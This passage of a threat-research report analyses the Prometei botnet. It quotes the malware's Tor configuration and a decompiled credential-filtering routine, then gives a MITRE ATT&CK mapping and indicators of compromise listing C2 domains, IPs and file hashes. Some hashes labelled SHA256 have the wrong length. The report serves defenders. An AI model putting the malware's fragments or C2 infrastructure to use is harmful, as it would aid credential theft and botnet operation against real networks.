Svchost.exe without proper metadata editing	The language code of svchost.exe

Prometei uses different modules, and not all of them are observed in use in every attack. One of the Prometei components is related to a TOR client installation on the infected machine used to communicate with a TOR C2. As part of the installation, the malware also drops a configuration file (torrc) that is configured to avoid using several exit nodes, all in the Soviet Union:

```
Log notice file \data\notice.log
HeartbeatPeriod 1 hours
ExitRelay 0
GeoIPFile \geoip
GeoIPv6File \geoip6
ExcludeExitNodes {ru},{ua},{by},{kz},{??}
StrictNodes 1
```

Content of torrc file in the installation of the TOR client by Prometei

In addition, Prometei has another component named nvsync.exe that seems to be an older version of Nethelper, and it contains a function that checks the stolen credentials to avoid certain targets, among them are "Guest" and "Other user" - in Russian: Гость, Другой пользователь:

```
foreach (string text22 in array6)
{
    if (text22 != null && !(text22 == "") && (text22.Length <= 3 || !(text22.Substring(text22.Length - 3) == "...")) && !(text22 == "IME_ADMIN") && !(text22 == "IME_USER") && !(text22 == "Plesk Administrator") && !(text22 == "SvcCOPSSH") && !(text22 == "WDeployAdmin") && !(text22 == "Guest") && !(text22 == "Гость") && !(text22 == "ftptuser") && !(text22 == "FTP User") && !(text22 == "Altro utente") && !(text22 == "Other User") && !(text22 == "Другой пользователь"))
    {
```

Function in nvsync.exe - a component of the Prometei bot

Conclusion

As shown in this report, Prometei is a complex and multistage botnet that, due to its stealthiness and wide range of capabilities, puts the compromised network at great risk. The different components work together to enable the malware to perform many tasks: credential harvesting, spreading across the network, establishing C2 communications and more. The malware authors are able to add more modules and expand their capabilities easily, and potentially even shift to another payload objective, more destructive than just mining Monero.

Threat actors in the cybercrime community continue to adopt APT-like techniques and improve efficiency of their operations. As observed in the recent Prometei attacks, the threat actors rode the wave of the recently discovered Microsoft Exchange vulnerabilities and exploited them in order to penetrate targeted networks. We anticipate continued evolution of the advanced techniques being used by different threat actors for different purposes, including cybercrime groups. This puts defenders in a position where they should always be prepared, not only for APT and nation state actors, but also for advanced cybercriminals who try to emulate the big APT groups.

Although the Prometei techniques and some of its components will likely be detected by security analysts, most of them will not be immediately obvious to end-users, which highlights the importance of having a security team and products in place that can detect these malicious operations. This threat poses a great risk for organizations, since the attackers have absolute control over the infected machines, and if they wish so, they can steal information, infect the endpoints with other malware or even collaborate with ransomware gangs by selling the access to the infected endpoints. Lastly, since cryptomining can be resource-hogging, it can affect the performance and stability of critical servers and endpoints, ultimately affecting business continuity.

We would like to thank Matt Hart and Niamh O'Connor for their contribution to these investigation efforts.

LOOKING FOR THE IOCs? CLICK ON THE CHATBOT DISPLAYED IN LOWER-RIGHT OF YOUR SCREEN.

MITRE ATT&CK BREAKDOWN

Initial Access	Execution	Persistence	Defense Evasion	Credential Access	Discovery	Lateral Movement	Command & Control	Impact
Exploit Public-Facing Application	System Services	Create or Modify System Process: Windows Service	Masquerading	Credentials from Password Stores	System Information Discovery	Exploitation of Remote Services	Application Layer Protocol	Resource Hijacking
	Native API		Valid Accounts	OS Credential Dumping	System Service Discovery	Lateral Tool Transfer	Data Encoding	
	Windows Management Instrumentation			Unsecured Credentials	Network Share Discovery		Multi-Stage Channels	
				Brute Force	Process Discovery			

Prometei Botnet | Indicators of Compromise

Indicator	Type	Comment
P1.feefreepool.net xmr.feefreepool.net gb7ni5rgeexdcncj.onion rongo.prohash.org bk1.bitspiritfun2.net mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpb72oq.zero dummy.zero cp22.umbrellapool.club 193.160.102.91.in-addr.arpa 102.72.239.193.in-addr.arpa 183.247.34.37.in-addr.arpa cp23.umbrellapool.club bk2.bitspiritfun2.net	Domain	C2

217.165.8.218 77.92.138.51 91.102.160.193 103.11.244.221 121.200.54.85 112.109.89.53 178.21.164.68 69.84.240.57 208.66.132.3	IP	C2
f0a5b257f16c4ccff520365ebc143f09ccf233e642bf540b5b90a2bbdb43d5b4	SHA256	Sqhost.exe / zsvc.exe
d8e3e22997533300c097b47d71feeda51dca183c35a0d818faa12ee903e969d5	SHA256	ExchDefender.exe
b0e743517e7abf75a80b81bb7aad9c166ac47ba89c0654ba855dda1e4d96c3e	SHA256	SearchIndexer.exe
55fc69a7e1b2371d8762be0b4f403d32db24902891fdbfb8b7d2b7fd1963f1b4	SHA256	Netwalker.7z
e4bd40643f64ac5e8d4093bddee0e26fcc74d2c15ba98b505098d13da22015f5	SHA256	Rdclip.exe
fb8f100e646dec8f19cb439d4020b5f5f43afdc2414279296e13469f13a018ca	SHA256	Miwalk
f86f9d0d3ea06bd4be6ee84c09bd13e43ecfcc71653d15994a39e55c2d6bd664e961c07d534bc1cb96f159fce573fc671bd188cef8756ef32acd9afb49528331	SHA256	Bklocal2.exe / Bklocal4.exe
2f114862bd999c38b69b633488bcb6c74c9a11e28b7ef335f6c77bba32ed2d65de7afdde08f7b8ba705c8332c693747d537fd5b1bb0e7b0c757c0f364a60eb8	SHA256	Nethelper2.exe / Nethelper4.exe
dc73a88f544efc943da73c9f6535facdb61800f6205ad3dddb9adb7c6ab229ab	SHA256	Windrlver.exe



About the Author

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Lior is a senior threat researcher at Cybereason, focusing on threat hunting and malware research. Lior began her career as a team leader in the security operations center in the Israeli Air Force where she mostly focused on incident response and malware analysis.

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Source: <https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities>